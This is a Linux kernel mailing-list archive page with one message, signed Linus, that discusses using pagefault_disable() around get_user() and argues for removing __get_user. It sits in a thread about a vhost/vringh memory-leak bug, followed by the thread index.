> That's a separate bug, and you really shouldn't use __get_user to work around it just because it doesn't check.
>
> You should use pagefault_disable() around the access. And if there is still a sleep_on() complaint, that should be fixed.
Ok, no longer driving around and checked: using pagefault_disable()
around the get_user() should indeed fix the warning, because
get_user() uses 'might_fault()', which doesn't complain if
pagefault_disabled() is set.
Admittedly the actual fault handler uses a different check: it uses
faulthandler_disabled(), which also checks for "in_atomic()", which is
why that __get_user() case just silently happened to work (badly).
But that check is historical - but actively wrong - the added
in_atomic() check in faulthandler_disabled() also checks for disabled
preemption, which is one of those "it's not reliable" things (because
the preemption count depends on whether preemption is enabled at
all!).
So no. There are exactly _zero_ valid reasons to use __get_user() and
friends. We really need to just get rid of that broken garbage. All it
does now is open up potential security holes and allow people to avoid
warnings for actively buggy code.
Linus
^ permalink raw reply [flat|nested] 13+ messages in thread
end of thread, other threads:[~2026-10-18 23:12 UTC | newest]
Thread overview: 13+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-10-15 7:23 [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough Haoran Wang
2026-10-15 7:42 ` Eugenio Perez Martin
2026-10-17 21:59 ` David Laight
2026-10-18 19:24 ` Michael S. Tsirkin
2026-10-18 19:48 ` David Laight
2026-10-18 21:42 ` Michael S. Tsirkin
2026-10-18 21:57 ` Michael S. Tsirkin
[not found] ` <CAHk-=wjneFJ7XmZ6ux-LsHq4apDgANcKfERztmAG9sGVY_TxAg@mail.gmail.com>
2026-10-18 22:13 ` Michael S. Tsirkin
2026-10-18 23:12 ` Linus Torvalds
2026-10-18 20:34 ` Linus Torvalds
2026-10-18 21:11 ` Linus Torvalds
2026-10-18 21:41 ` Michael S. Tsirkin
2026-10-18 21:43 ` Michael S. Tsirkin
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®